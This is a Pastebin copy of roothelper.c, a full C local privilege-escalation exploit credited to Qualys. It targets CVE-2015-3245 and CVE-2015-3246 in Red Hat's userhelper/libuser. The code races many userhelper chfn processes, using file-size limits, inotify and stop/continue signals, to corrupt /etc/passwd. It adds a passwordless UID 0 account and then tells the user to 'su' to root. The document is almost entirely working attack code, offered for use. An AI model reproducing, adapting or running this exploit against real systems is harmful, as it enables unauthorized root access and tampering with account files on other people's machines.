Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * roothelper.c - an unusual local root exploit against:
- * CVE-2015-3245 userhelper chfn() newline filtering
- * CVE-2015-3246 libuser passwd file handling
- * Copyright (C) 2015 Qualys, Inc.
- *
- * gecos_* types and functions inspired by userhelper.c
- * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
- *
- * UH_* #defines and comments inspired by userhelper.h
- * Copyright (C) 1997-2001, 2007 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
- #define _GNU_SOURCE
- #include <ctype.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <inttypes.h>
- #include <limits.h>
- #include <pwd.h>
- #include <sched.h>
- #include <signal.h>
- #include <stdarg.h>
- #include <stdbool.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/inotify.h>
- #include <sys/resource.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <unistd.h>
- /* A maximum GECOS field length. There's no hard limit, so we guess. */
- #define GECOS_LENGTH 127
- typedef char gecos_field[GECOS_LENGTH];
- /* A structure to hold broken-out GECOS data. The number and names of the
- * fields are dictated entirely by the flavor of finger we use. Seriously. */
- struct gecos_data {
- gecos_field full_name; /* full user name */
- gecos_field office; /* office */
- gecos_field office_phone; /* office phone */
- gecos_field home_phone; /* home phone */
- gecos_field site_info; /* other stuff */
- };
- static struct userhelper {
- struct gecos_data gecos;
- rlim_t fsizelim;
- pid_t pid;
- int fd;
- } userhelpers[GECOS_LENGTH];
- static void
- die_in_parent(const char *const file, const unsigned int line,
- const char *const function)
- {
- fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
- fflush(stderr);
- unsigned int i;
- for (i = 0; i < GECOS_LENGTH; i++) {
- const pid_t pid = userhelpers[i].pid;
- if (pid <= 0) continue;
- kill(pid, SIGKILL);
- }
- _exit(EXIT_FAILURE);
- }
- static void
- die_in_child(const char *const file, const unsigned int line,
- const char *const function)
- {
- fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
- exit(EXIT_FAILURE);
- }
- static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
- #define die() die_fn(__FILE__, __LINE__, __func__)
- static void *
- xmalloc(const size_t size)
- {
- if (size <= 0) die();
- if (size >= INT_MAX) die();
- void *const ptr = malloc(size);
- if (ptr == NULL) die();
- return ptr;
- }
- static void *
- xrealloc(void *const old, const size_t size)
- {
- if (size <= 0) die();
- if (size >= INT_MAX) die();
- void *const new = realloc(old, size);
- if (new == NULL) die();
- return new;
- }
- static char *
- xstrndup(const char *const old, const size_t len)
- {
- if (old == NULL) die();
- if (len >= INT_MAX) die();
- char *const new = strndup(old, len);
- if (new == NULL) die();
- if (len != strlen(new)) die();
- return new;
- }
- static int
- xsnprintf(char *const str, const size_t size, const char *const format, ...)
- {
- if (str == NULL) die();
- if (size <= 0) die();
- if (size >= INT_MAX) die();
- if (format == NULL) die();
- va_list ap;
- va_start(ap, format);
- const int len = vsnprintf(str, size, format, ap);
- va_end(ap);
- if (len < 0) die();
- if ((unsigned int)len >= size) die();
- if ((unsigned int)len != strlen(str)) die();
- return len;
- }
- static int
- xopen(const char *const pathname, const int flags)
- {
- if (pathname == NULL) die();
- if (*pathname != '/') die();
- if (flags != O_RDONLY) die();
- const int fd = open(pathname, flags);
- if (fd <= -1) die();
- static const struct flock rdlock = {
- .l_type = F_RDLCK,
- .l_whence = SEEK_SET,
- .l_start = 0,
- .l_len = 0
- };
- if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
- return fd;
- }
- static void
- xclose(const int fd)
- {
- if (fd <= -1) die();
- static const struct flock unlock = {
- .l_type = F_UNLCK,
- .l_whence = SEEK_SET,
- .l_start = 0,
- .l_len = 0
- };
- if (fcntl(fd, F_SETLK, &unlock) != 0) die();
- if (close(fd) != 0) die();
- }
- #define GECOS_BADCHARS ":,=\n"
- /* A simple function to compute the size of a gecos string containing the
- * data we have. */
- static size_t
- gecos_size(const struct gecos_data *const parsed)
- {
- if (parsed == NULL) die();
- size_t len = 4; /* commas! */
- len += strlen(parsed->full_name);
- len += strlen(parsed->office);
- len += strlen(parsed->office_phone);
- len += strlen(parsed->home_phone);
- len += strlen(parsed->site_info);
- len++;
- return len;
- }
- /* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
- Note that the parsing is performed using the convention obeyed by BSDish
- finger(1) under Linux. */
- static void
- gecos_parse(const char *const gecos, struct gecos_data *const parsed)
- {
- if (gecos == NULL) die();
- if (strlen(gecos) >= INT_MAX) die();
- if (parsed == NULL) die();
- memset(parsed, 0, sizeof(*parsed));
- unsigned int i;
- const char *field = gecos;
- for (i = 0; ; i++) {
- const char *field_end = strchrnul(field, ',');
- gecos_field *dest = NULL;
- switch (i) {
- case 0:
- dest = &parsed->full_name;
- break;
- case 1:
- dest = &parsed->office;
- break;
- case 2:
- dest = &parsed->office_phone;
- break;
- case 3:
- dest = &parsed->home_phone;
- break;
- case 4:
- field_end = rawmemchr(field_end, '\0');
- dest = &parsed->site_info;
- break;
- default:
- die();
- }
- const size_t field_len = field_end - field;
- xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
- if (strlen(*dest) != field_len) die();
- if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
- if (*field_end == '\0') break;
- field = field_end + 1;
- }
- if (gecos_size(parsed) > GECOS_LENGTH) die();
- }
- /* Assemble a new gecos string. */
- static const char *
- gecos_assemble(const struct gecos_data *const parsed)
- {
- static char ret[GECOS_LENGTH];
- size_t i;
- if (parsed == NULL) die();
- /* Construct the basic version of the string. */
- xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
- parsed->full_name,
- parsed->office,
- parsed->office_phone,
- parsed->home_phone,
- parsed->site_info);
- /* Strip off terminal commas. */
- i = strlen(ret);
- while ((i > 0) && (ret[i - 1] == ',')) {
- ret[i - 1] = '\0';
- i--;
- }
- return ret;
- }
- /* Descriptors used to communicate between userhelper and consolhelper. */
- #define UH_INFILENO 3
- #define UH_OUTFILENO 4
- /* Userhelper request format:
- request code as a single character,
- request data size as UH_REQUEST_SIZE_DIGITS decimal digits
- request data
- '\n' */
- #define UH_REQUEST_SIZE_DIGITS 8
- /* Synchronization point code. */
- #define UH_SYNC_POINT 32
- /* Valid userhelper request codes. */
- #define UH_ECHO_ON_PROMPT 34
- #define UH_ECHO_OFF_PROMPT 35
- #define UH_EXPECT_RESP 39
- #define UH_SERVICE_NAME 40
- #define UH_USER 42
- /* Consolehelper response format:
- response code as a single character,
- response data
- '\n' */
- /* Consolehelper response codes. */
- #define UH_TEXT 33
- /* Valid userhelper error codes. */
- #define ERR_UNK_ERROR 255 /* unknown error */
- /* Paths, flag names, and other stuff. */
- #define UH_PATH "/usr/sbin/userhelper"
- #define UH_FULLNAME_OPT "-f"
- #define UH_OFFICE_OPT "-o"
- #define UH_OFFICEPHONE_OPT "-p"
- #define UH_HOMEPHONE_OPT "-h"
- static char
- read_request(const int fd, char *const data, const size_t size)
- {
- if (fd <= -1) die();
- if (data == NULL) die();
- if (size >= INT_MAX) die();
- char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
- if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
- header[sizeof(header)-1] = '\0';
- errno = 0;
- char *endptr = NULL;
- const unsigned long len = strtoul(&header[1], &endptr, 10);
- if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
- if (len >= size) die();
- if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
- if (data[len] != '\n') die();
- data[len] = '\0';
- if (strlen(data) != len) die();
- if (strchr(data, '\n') != NULL) die();
- return header[0];
- }
- static void
- send_reply(const int fd, const unsigned char type, const char *const data)
- {
- if (fd <= -1) die();
- if (!isascii(type)) die();
- if (!isprint(type)) die();
- if (data == NULL) die();
- if (strpbrk(data, "\r\n") != NULL) die();
- char buf[BUFSIZ];
- const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
- if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
- }
- #define ETCDIR "/etc"
- #define PASSWD "/etc/passwd"
- #define BACKUP "/etc/passwd-"
- static struct {
- char username[64];
- char password[64];
- struct gecos_data gecos;
- } my;
- static volatile sig_atomic_t is_child_dead;
- static void
- sigchild_handler(const int signum __attribute__ ((__unused__)))
- {
- is_child_dead = true;
- }
- static int
- wait_for_userhelper(struct userhelper *const uh, const int options)
- {
- if (uh == NULL) die();
- if (uh->pid <= 0) die();
- if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
- int status;
- for (;;) {
- const pid_t pid = waitpid(uh->pid, &status, options);
- if (pid == uh->pid) break;
- if (pid > 0) _exit(255);
- if (pid != -1) die();
- if (errno != EINTR) die();
- }
- if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
- return status;
- }
- static void
- forkstop_userhelper(struct userhelper *const uh)
- {
- if (uh == NULL) die();
- if (uh->pid != 0) die();
- if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
- struct rlimit fsize;
- if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
- if (uh->fsizelim > fsize.rlim_max) die();
- if (uh->fsizelim <= 0) die();
- fsize.rlim_cur = uh->fsizelim;
- cpu_set_t old_cpus;
- CPU_ZERO(&old_cpus);
- if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
- { const int cpu = sched_getcpu();
- if (cpu >= CPU_SETSIZE) die();
- if (cpu < 0) die();
- cpu_set_t new_cpus;
- CPU_ZERO(&new_cpus);
- CPU_SET(cpu, &new_cpus);
- if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
- int sv[2];
- if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
- if (is_child_dead) die();
- static const struct sigaction sigchild_action = {
- .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
- if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
- uh->pid = fork();
- if (uh->pid <= -1) die();
- if (uh->pid == 0) {
- die_fn = die_in_child;
- if (close(sv[1]) != 0) die();
- if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
- if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
- const int devnull_fd = open("/dev/null", O_RDWR);
- if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
- if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
- if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
- if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
- if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
- if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
- if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
- static const struct sched_param sched_param = { .sched_priority = 0 };
- (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
- char *const argv[] = { UH_PATH,
- UH_FULLNAME_OPT, uh->gecos.full_name,
- UH_OFFICE_OPT, uh->gecos.office,
- UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
- UH_HOMEPHONE_OPT, uh->gecos.home_phone,
- NULL };
- char *const envp[] = { NULL };
- execve(UH_PATH, argv, envp);
- die();
- }
- if (die_fn != die_in_parent) die();
- if (close(sv[0]) != 0) die();
- uh->fd = sv[1];
- unsigned long expected_responses = 0;
- for (;;) {
- char data[BUFSIZ];
- const char type = read_request(uh->fd, data, sizeof(data));
- if (type == UH_SYNC_POINT) break;
- switch (type) {
- case UH_USER:
- if (strcmp(data, my.username) != 0) die();
- break;
- case UH_SERVICE_NAME:
- if (strcmp(data, "chfn") != 0) die();
- break;
- case UH_ECHO_ON_PROMPT:
- case UH_ECHO_OFF_PROMPT:
- if (++expected_responses == 0) die();
- break;
- case UH_EXPECT_RESP:
- if (strtoul(data, NULL, 10) != expected_responses) die();
- break;
- default:
- break;
- }
- }
- if (expected_responses != 1) die();
- const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
- const int inotify_fd = inotify_init();
- if (inotify_fd <= -1) die();
- if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
- IN_OPEN) <= -1) die();
- if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
- if (errno != ENOENT) die();
- if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
- }
- send_reply(uh->fd, UH_TEXT, my.password);
- send_reply(uh->fd, UH_SYNC_POINT, "");
- if (close(uh->fd) != 0) die();
- uh->fd = -1;
- unsigned int state = 0;
- static const uint32_t transition[] = { IN_CLOSE_WRITE,
- IN_CLOSE_NOWRITE, IN_OPEN, 0 };
- for (;;) {
- if (is_child_dead) die();
- char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
- const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
- if (is_child_dead) die();
- if (_buflen <= 0) die();
- size_t buflen = _buflen;
- if (buflen > sizeof(buffer)) die();
- struct inotify_event *ep;
- for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
- ep = (struct inotify_event *)(ep->name + ep->len)) {
- buflen -= sizeof(*ep);
- if (ep->len > 0) {
- if (buflen < ep->len) die();
- buflen -= ep->len;
- if ((ep->mask & IN_CREATE) == 0) die();
- (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
- continue;
- }
- if (ep->len != 0) die();
- while ((ep->mask & transition[state]) != 0) {
- ep->mask &= ~transition[state++];
- if (transition[state] == 0) goto stop_userhelper;
- }
- }
- if (buflen != 0) die();
- }
- stop_userhelper:
- if (kill(uh->pid, SIGSTOP) != 0) die();
- if (close(inotify_fd) != 0) die();
- const int status = wait_for_userhelper(uh, WUNTRACED);
- if (!WIFSTOPPED(status)) die();
- if (WSTOPSIG(status) != SIGSTOP) die();
- xclose(lpasswd_fd);
- if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
- if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
- }
- static void
- continue_userhelper(struct userhelper *const uh)
- {
- if (uh == NULL) die();
- if (uh->fd != -1) die();
- if (uh->pid <= 0) die();
- if (kill(uh->pid, SIGCONT) != 0) die();
- { const int status = wait_for_userhelper(uh, WCONTINUED);
- if (!WIFCONTINUED(status)) die(); }
- { const int status = wait_for_userhelper(uh, 0);
- if (!WIFEXITED(status)) die();
- if (WEXITSTATUS(status) !=
- ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
- memset(uh, 0, sizeof(*uh));
- }
- static void
- create_backup_of_passwd_file(void)
- {
- char backup[] = "/tmp/passwd-XXXXXX";
- const mode_t prev_umask = umask(077);
- const int ofd = mkstemp(backup);
- (void) umask(prev_umask);
- if (ofd <= -1) die();
- printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
- const int ifd = xopen(PASSWD, O_RDONLY);
- for (;;) {
- char buf[BUFSIZ];
- const ssize_t len = read(ifd, buf, sizeof(buf));
- if (len == 0) break;
- if (len <= 0) die();
- if (write(ofd, buf, len) != len) die();
- }
- xclose(ifd);
- if (close(ofd) != 0) die();
- }
- static void
- delete_lines_from_passwd_file(void)
- {
- struct gecos_data gecos;
- memset(&gecos, 0, sizeof(gecos));
- xsnprintf(gecos.site_info, sizeof(gecos.site_info),
- "%s", my.gecos.site_info);
- const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
- if (fullname_max >= GECOS_LENGTH) die();
- if (fullname_max <= 0) die();
- char fragment[64];
- xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
- char *contents = NULL;
- for (;;) {
- struct stat st;
- const int fd = xopen(PASSWD, O_RDONLY);
- if (fstat(fd, &st) != 0) die();
- if (st.st_size >= INT_MAX) die();
- if (st.st_size <= 0) die();
- contents = xrealloc(contents, st.st_size + 1);
- if (read(fd, contents, st.st_size) != st.st_size) die();
- contents[st.st_size] = '\0';
- xclose(fd);
- const char *cp = strstr(contents, fragment);
- if (cp == NULL) die();
- cp = strchr(cp + 2, '\n');
- if (cp == NULL) die();
- if (cp[1] == '\0') break;
- char *const tp = contents + st.st_size-1;
- *tp = '\0';
- if (tp <= cp) die();
- if (tp - cp > fullname_max) cp = tp - fullname_max;
- cp = strpbrk(cp, "\n:, ");
- if (cp == NULL) die();
- const ssize_t fullname_len = tp - cp;
- if (fullname_len >= GECOS_LENGTH) die();
- if (fullname_len <= 0) die();
- printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
- struct userhelper *const uh = &userhelpers[0];
- memset(uh->gecos.full_name, 'A', fullname_len);
- uh->fsizelim = st.st_size;
- forkstop_userhelper(uh);
- continue_userhelper(uh);
- uh->fsizelim = RLIM_INFINITY;
- forkstop_userhelper(uh);
- continue_userhelper(uh);
- }
- free(contents);
- }
- static size_t passwd_fsize;
- static int generate_userhelpers(const char *);
- #define IS_USER_LAST "last user in passwd file?"
- static char candidate_users[256];
- static char superuser_elect;
- int
- main(void)
- {
- create_backup_of_passwd_file();
- { char candidate[] = "a";
- for (; candidate[0] <= 'z'; candidate[0]++) {
- if (getpwnam(candidate) != NULL) continue;
- strcat(candidate_users, candidate);
- } }
- if (candidate_users[0] == '\0') die();
- const struct passwd *const pwd = getpwuid(getuid());
- if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
- xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
- gecos_parse(pwd->pw_gecos, &my.gecos);
- if (fputs("Please enter your password:\n", stdout) == EOF) die();
- if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
- char *const newline = strchr(my.password, '\n');
- if (newline == NULL) die();
- *newline = '\0';
- { struct userhelper *const uh = &userhelpers[0];
- uh->fsizelim = RLIM_INFINITY;
- forkstop_userhelper(uh);
- continue_userhelper(uh); }
- retry:
- if (generate_userhelpers(IS_USER_LAST)) {
- struct userhelper *const uh1 = &userhelpers[1];
- strcpy(uh1->gecos.full_name, "\n");
- uh1->fsizelim = passwd_fsize + 1;
- struct userhelper *const uh0 = &userhelpers[0];
- uh0->fsizelim = passwd_fsize;
- forkstop_userhelper(uh1), forkstop_userhelper(uh0);
- continue_userhelper(uh1), continue_userhelper(uh0);
- if (generate_userhelpers(IS_USER_LAST)) die();
- }
- static const char a[] = "?::0:0::/:";
- printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
- const int n = generate_userhelpers(a);
- if (n == -1) {
- static int retries;
- if (retries++) die();
- memset(userhelpers, 0, sizeof(userhelpers));
- delete_lines_from_passwd_file();
- goto retry;
- }
- if (n <= 0) die();
- if (n >= GECOS_LENGTH) die();
- if (superuser_elect == '\0') die();
- int i;
- for (i = n; --i >= 0; ) {
- printf("Starting and stopping userhelper #%d\n", i);
- forkstop_userhelper(&userhelpers[i]);
- }
- for (i = n; --i >= 0; ) {
- printf("Continuing stopped userhelper #%d\n", i);
- continue_userhelper(&userhelpers[i]);
- }
- printf("Exploit successful, run \"su %c\" to become root\n",
- (int)superuser_elect);
- { struct userhelper *const uh = &userhelpers[0];
- uh->fsizelim = RLIM_INFINITY;
- uh->gecos = my.gecos;
- forkstop_userhelper(uh);
- continue_userhelper(uh); }
- exit(EXIT_SUCCESS);
- }
- static void
- generate_fullname(char *const fullname, const ssize_t fullname_len,
- const char c)
- {
- if (fullname == NULL) die();
- if (fullname_len < 0) die();
- if (fullname_len >= GECOS_LENGTH) die();
- memset(fullname, 'A', fullname_len);
- if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
- if (!isascii((unsigned char)c)) die();
- if (!isgraph((unsigned char)c)) die();
- fullname[fullname_len-1] = c;
- }
- }
- static size_t siteinfo_len;
- static size_t fullname_off;
- static size_t before_fullname_len;
- static char * before_fullname;
- static size_t after_fullname_len;
- static char * after_fullname;
- static int
- generate_userhelper(const char *const a, const int i, char *const contents)
- {
- if (i < 0) {
- if (i != -1) die();
- return 0;
- }
- if (a == NULL) die();
- if ((unsigned int)i >= strlen(a)) die();
- if (contents == NULL) die();
- const char _c = a[i];
- const bool is_user_wildcard = (_c == '?');
- const char c = (is_user_wildcard ? candidate_users[0] : _c);
- if (c == '\0') die();
- const size_t target = passwd_fsize-1 + i;
- const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
- if (fsizelim < passwd_fsize) die();
- const size_t contents_len = strlen(contents);
- if (contents_len < passwd_fsize) die();
- if (contents_len <= fullname_off) die();
- char *const fullname = contents + fullname_off;
- if (memcmp(fullname - before_fullname_len,
- before_fullname, before_fullname_len) != 0) die();
- const char *rest = strchr(fullname, '\n');
- if (rest == NULL) die();
- rest++;
- const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
- if (fullname_len >= GECOS_LENGTH) die();
- if (fullname_len < 0) die();
- if (rest[-1] != '\n') die();
- generate_fullname(fullname, fullname_len, c);
- memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
- if (rest[-1] != '\n') die();
- if (memcmp(rest - after_fullname_len,
- after_fullname, after_fullname_len) != 0) die();
- size_t offset;
- for (offset = fullname_off; offset < contents_len; offset++) {
- const char x = contents[offset];
- if (x == '\0') die();
- if (is_user_wildcard) {
- if (strchr(candidate_users, x) == NULL) continue;
- superuser_elect = x;
- } else {
- if (x != c) continue;
- }
- const ssize_t new_fullname_len = fullname_len + (target - offset);
- if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
- if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
- if (offset < fullname_off + fullname_len) {
- if (offset != fullname_off + fullname_len-1) die();
- if (new_fullname_len == 0) continue;
- }
- if (offset >= contents_len-1) {
- if (offset != contents_len-1) die();
- if (fsizelim != RLIM_INFINITY) continue;
- }
- { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
- memcpy(new_contents, contents, fullname_off);
- generate_fullname(new_contents + fullname_off, new_fullname_len, c);
- memcpy(new_contents + fullname_off + new_fullname_len,
- contents + fullname_off + fullname_len,
- contents_len+1 - (fullname_off + fullname_len));
- if (strlen(new_contents) != contents_len +
- (new_fullname_len - fullname_len)) die();
- if (fsizelim != RLIM_INFINITY) {
- if (fsizelim >= strlen(new_contents)) die();
- if (fsizelim >= contents_len) die();
- memcpy(new_contents + fsizelim,
- contents + fsizelim,
- contents_len+1 - fsizelim);
- }
- const int err = generate_userhelper(a, i-1, new_contents);
- free(new_contents);
- if (err < 0) continue; }
- if (i >= GECOS_LENGTH) die();
- struct userhelper *const uh = &userhelpers[i];
- memset(uh, 0, sizeof(*uh));
- uh->fsizelim = fsizelim;
- if (new_fullname_len >= GECOS_LENGTH) die();
- generate_fullname(uh->gecos.full_name, new_fullname_len, c);
- return 0;
- }
- return -1;
- }
- static int
- generate_userhelpers(const char *const _a)
- {
- char a[GECOS_LENGTH];
- if (_a == NULL) die();
- const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
- if (n >= GECOS_LENGTH) die();
- if (n <= 0) die();
- const int fd = xopen(PASSWD, O_RDONLY);
- struct stat st;
- if (fstat(fd, &st) != 0) die();
- if (st.st_size >= 10*1024*1024) die();
- if (st.st_size <= 0) die();
- passwd_fsize = st.st_size;
- char *const contents = xmalloc(passwd_fsize + 1);
- if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
- xclose(fd);
- contents[passwd_fsize] = '\0';
- if (strlen(contents) != passwd_fsize) die();
- if (contents[passwd_fsize-1] != '\n') die();
- char fragment[64];
- xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
- const char *line = strstr(contents, fragment);
- if (line == NULL) die();
- line++;
- const char *rest = strchr(line, '\n');
- if (rest == NULL) die();
- if (rest <= line) die();
- rest++;
- if (strcmp(_a, IS_USER_LAST) == 0) {
- const bool is_user_last = (*rest == '\0');
- free(contents);
- return is_user_last;
- }
- unsigned int i;
- const char *field = line;
- for (i = 0; i <= 5; i++) {
- const char *const field_end = strchr(field, ':');
- if (field_end == NULL) die();
- if (field_end >= rest) die();
- const size_t field_len = field_end - field;
- switch (i) {
- case 0:
- if (field_len != strlen(my.username)) die();
- if (memcmp(field, my.username, field_len) != 0) die();
- break;
- case 1:
- if (*field != 'x') die();
- break;
- case 2:
- if (strtoimax(field, NULL, 10) != getuid()) die();
- break;
- case 3:
- if (strtoimax(field, NULL, 10) != getgid()) die();
- break;
- case 4:
- {
- char assembled[GECOS_LENGTH];
- xsnprintf(assembled, sizeof(assembled),
- "%.*s", (int)field_len, field);
- if (strlen(assembled) != field_len) die();
- struct gecos_data gecos;
- memset(&gecos, 0, sizeof(gecos));
- xsnprintf(gecos.site_info, sizeof(gecos.site_info),
- "%s", my.gecos.site_info);
- if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
- }
- siteinfo_len = strlen(my.gecos.site_info);
- fullname_off = field - contents;
- before_fullname_len = field - line;
- before_fullname = xstrndup(line, before_fullname_len);
- after_fullname_len = rest - field;
- after_fullname = xstrndup(field, after_fullname_len);
- break;
- case 5:
- if (*field != '/') die();
- break;
- default:
- die();
- }
- field = field_end + 1;
- }
- const int err = generate_userhelper(a, n-1, contents);
- free(before_fullname), before_fullname = NULL;
- free(after_fullname), after_fullname = NULL;
- free(contents);
- return (err < 0) ? -1 : n;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement